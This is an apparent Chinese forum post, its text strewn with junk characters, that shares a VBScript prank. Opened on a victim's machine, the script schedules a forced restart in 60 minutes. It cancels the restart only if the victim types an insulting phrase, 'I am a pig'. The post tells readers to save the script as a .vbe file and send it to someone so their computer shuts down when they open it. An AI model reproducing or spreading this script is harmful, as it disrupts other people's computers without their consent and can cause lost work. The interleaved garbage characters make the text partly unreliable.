|
|
试试我这种) r2 N0 ^! d \2 J+ s2 ^2 ?; u
1 e! V% n# L" A* O6 Y4 S4 W
1 {3 J* {3 a; ^- `1 e8 ~9 r8 G
代码如下:
, q2 I' S3 G+ H6 M! X9 \on error resume next
! P$ X' B7 ^. z! R' Gdim WSHshellA1 ~: \) F s% Y$ C! g0 e- C
set WSHshellA = wscript.createobject("wscript.shell")
0 `' `0 U% e# D; t8 eWSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true 2 U6 g5 \+ e, E; ?8 i. i" J
dim a. f4 |' w% G% G5 F2 x4 G. [. r
do while(a <> "我是猪")7 A* i5 \" j3 m0 s* s8 d2 Q8 M. A
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
8 W3 S6 }( R* p' d1 [ |0 N( Wmsgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"# G3 A) `: n7 t- w
loop
) `9 ?1 B0 i7 c! A- w; \% a7 \4 umsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"8 `; u. P2 G5 z( I6 ^5 @
dim WSHshell
# ?% R. u) j6 [set WSHshell = wscript.createobject("wscript.shell")! a& G! H# A& }# U! v/ M
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
/ A9 W5 b0 f8 ]( mmsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"
9 Q; m" Z- ]+ B6 {% O- C- I2 c" o: t
1 K7 l( Q4 [5 G
5 ~8 v* {: x2 q& P8 M6 V$ s, K
( o: y- P( J) \2 d- y, K6 h把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
: c; q' e2 d( o( j/ l
/ h2 @) }' a5 y/ d: }
M: q5 ]4 v# N+ ^, P; S/ J使用文件传送给对方 只要对方一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。 |
|